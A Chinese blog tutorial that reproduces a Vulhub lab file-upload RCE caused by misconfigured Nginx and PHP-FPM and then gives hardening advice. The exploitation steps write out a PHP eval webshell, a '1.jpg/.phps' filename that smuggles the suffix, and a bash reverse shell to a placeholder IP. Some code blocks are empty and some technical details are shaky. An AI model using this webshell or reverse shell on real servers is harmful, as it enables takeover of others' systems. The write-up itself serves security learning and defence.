Nginx 与 PHP-FPM 配置不当导致文件上传 RCE 漏洞(基于 Vulhub)
Nginx 与 PHP-FPM 配置不当导致文件上传 RCE 漏洞详解(基于 Vulhub)
一、前言
文件上传漏洞是 Web 安全领域的高危漏洞之一,尤其是结合 Nginx 和 PHP-FPM 配置不当,攻击者可通过伪装文件后缀、路径构造和配置绕过,执行任意 PHP 代码,进而实现 远程命令执行(RCE)。这种漏洞危害极大,可能导致服务器完全失控。本文基于 Vulhub 靶场,详细复现 Nginx 与 PHP-FPM 配置不当导致的文件上传 RCE 漏洞,涵盖原理分析、利用流程、蚁剑连接及防护措施,旨在帮助安全从业者深入理解漏洞成因与防范方法。
学习目标:
- 理解文件上传漏洞结合 Nginx 和 PHP-FPM 的利用链
- 掌握伪装后缀与路径构造的攻击手法
- 学会使用蚁剑进行 WebShell 管理
- 掌握 Nginx 和 PHP-FPM 的安全配置实践
二、漏洞背景与原理
1. 漏洞概述
文件上传漏洞通常因 Web 应用未严格校验上传文件的类型或内容而产生。当结合 Nginx 和 PHP-FPM 的配置不当,攻击者可上传伪装为图片的文件(如 shell.jpg 包含 PHP 代码),并通过构造特殊路径(如 /shell.jpg/.phps)触发 PHP-FPM 解析,从而执行恶意代码,导致 RCE。
2. 核心问题
漏洞的根源在于以下配置缺陷:
- Nginx 配置不当:
location ~ \.phps允许非标准的.phps后缀被 PHP-FPM 解析。try_files未严格验证路径,导致伪路径绕过。SCRIPT_FILENAME参数未过滤,允许任意文件被当作 PHP 脚本执行。
- PHP-FPM 配置不当:
security.limit_extensions未严格限制,导致.phps、.jpg等非标准后缀被解析。
- 文件上传校验缺失:
- Web 应用未对上传文件内容进行严格检查,允许包含 PHP 代码的伪装文件上传。
3. 利用链
1 | |
4. 危害
- 代码执行:执行任意 PHP 代码,获取服务器信息或上传 WebShell。
- 命令执行:运行系统命令(如
whoami、id)。 - 服务器接管:通过反弹 Shell 或后门控制服务器。
- 数据泄露:窃取配置文件、数据库内容等。
三、Nginx 配置误区分析
以下是典型的 Nginx 配置片段(存在漏洞):
1 | |
1. 问题点剖析
.phps后缀解析:location ~ \.phps表示以.phps结尾的请求会交给 PHP-FPM 处理。.phps通常用于源代码高亮显示,不应启用为可执行脚本。- 攻击者可通过路径构造(如
/uploads/shell.jpg/.phps)将伪装文件(如shell.jpg)当作 PHP 脚本执行。
- SCRIPT_FILENAME 未过滤:
fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;直接拼接用户输入的路径($fastcgi_script_name)。- 攻击者可提交
/uploads/shell.jpg/.phps,导致SCRIPT_FILENAME被设置为/var/www/html/uploads/shell.jpg,从而执行shell.jpg中的 PHP 代码。
- try_files 路径拼接问题:
try_files $uri $uri/ =404;尝试查找$uri或$uri/,未对伪路径(如/shell.jpg/.phps)进行严格验证。- Nginx 将请求传递给
.phps的location,触发 PHP-FPM 解析。
2. 正确配置示例
1 | |
四、PHP-FPM 配置分析
1. security.limit_extensions 参数
- 作用:
- 位于 PHP-FPM 配置文件(如
/etc/php-fpm.d/www.conf)。 - 限制哪些文件后缀可被 PHP-FPM 解析为 PHP 脚本。
- 默认值:
.php .php3 .php4 .php5。
- 位于 PHP-FPM 配置文件(如
- 示例:
1
2[www]
security.limit_extensions = .php
2. 配置不当的后果
- 弱配置:允许
1
security.limit_extensions = .php .phps.phps被解析,攻击者可通过/shell.jpg/.phps执行伪装文件。 - 更危险:为空时,PHP-FPM 解析任意后缀(如
1
security.limit_extensions =.jpg、.txt),极大增加漏洞风险。
3. 安全配置
1 | |
- 仅允许
.php文件被解析。 - 杜绝
.phps、.jpg等非标准后缀的执行。
五、漏洞复现步骤
1. 环境搭建
- 操作系统:Kali Linux
- 靶场:Vulhub(Nginx + PHP-FPM 漏洞环境)
- 步骤:
- 克隆 Vulhub 项目:
1
2git clone https://github.com/vulhub/vulhub.git
cd vulhub/nginx/php-fpm - 启动靶场:
1
sudo docker-compose up -d - 验证环境:
- 访问
http://localhost:8080,确认 Nginx 运行正常。
- 访问
- 克隆 Vulhub 项目:
2. 构造伪装木马
- 创建 PHP WebShell:
1
echo "<?php @eval(\$_POST['cmd']); ?>" > shell.php - 伪装为图片:
1
mv shell.php 1.jpg
3. 上传伪装文件
- 假设目标站点有文件上传功能(如
/upload.php)。 - 使用 Burp Suite 拦截上传请求,修改文件名:
1
Content-Disposition: form-data; name="file"; filename="1.jpg/.phps" - 上传后,文件存储在
/uploads/1.jpg。
4. 触发 RCE
- 访问构造路径:
1
http://localhost:8080/uploads/1.jpg/.phps - 结果:Nginx 将请求交给 PHP-FPM,执行
1.jpg中的 PHP 代码。
5. 连接蚁剑
- 配置:
- URL:
http://localhost:8080/uploads/1.jpg/.phps - 密码:
cmd - 类型:PHP
- 编码:默认
- URL:
- 功能:
- 命令执行(如
whoami) - 文件管理(上传、下载)
- 反弹 Shell
- 命令执行(如
6. 反弹 Shell(可选)
- 在 Kali 上启动监听:
1
nc -lvnp 4444 - 在蚁剑中执行:
1
bash -i >& /dev/tcp/<你的IP>/4444 0>&1
六、防御建议
1. Nginx 配置强化
- 限制 PHP 解析:
1
2
3
4
5location ~ \.php$ {
fastcgi_pass 127.0.0.1:9000;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
} - 禁止上传目录执行 PHP:
1
2
3
4
5location /Uploads/ {
location ~ \.php$ {
return 403;
}
}
2. PHP-FPM 配置加固
- 限制后缀:
1
2[www]
security.limit_extensions = .php - 检查配置文件:
- 路径:
/etc/php-fpm.d/www.conf或/etc/php/*/fpm/pool.d/www.conf。 - 确保不包含
.phps或空值。
- 路径:
3. 文件上传校验
- 内容校验:
- 使用
fileinfo扩展验证文件真实类型:1
2
3
4
5$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $_FILES['file']['tmp_name']);
if (!in_array($mime, ['image/jpeg', 'image/png'])) {
die("仅允许上传图片!");
}
- 使用
- 重命名文件:
- 使用随机文件名,避免直接使用用户输入。
- 限制目录权限:
- 上传目录(如
/Uploads/)禁止执行权限:1
chmod -R 644 /var/www/html/Uploads
- 上传目录(如
4. WAF 部署
- 配置 Web 应用防火墙,检测异常路径(如
/.phps)。 - 拦截包含 PHP 代码的文件上传请求。
5. 日志监控
- 监控 Nginx 和 PHP-FPM 日志,关注异常请求(如
.jpg/.phps)。 - 定期扫描上传目录,检测可疑文件。
七、总结
| 项目 | 信息 |
|---|---|
| 漏洞类型 | 文件上传 + Nginx/PHP-FPM 配置不当 |
| 靶场 | Vulhub(Nginx + PHP-FPM) |
| 利用方式 | 伪装文件上传 + 路径构造(如 .phps) |
| 危害 | RCE、服务器完全控制 |
| 修复核心 | 严格后缀限制、文件校验、权限控制 |
Nginx 与 PHP-FPM 配置不当导致的文件上传 RCE 漏洞展示了配置缺陷与文件上传校验缺失的严重后果。攻击者通过伪装文件和路径构造,可执行任意代码并接管服务器。开发者应强化 Nginx 和 PHP-FPM 配置,严格校验上传文件,部署 WAF 和监控机制,构建多层次防御体系。
免责声明:本文内容仅供合法授权的渗透测试和安全研究,严禁用于非法用途!
Nginx 与 PHP-FPM 配置不当导致文件上传 RCE 漏洞(基于 Vulhub)
https://bae-ace.github.io/2025/08/05/Nginx-与-PHP-FPM-配置不当导致文件上传-RCE-漏洞/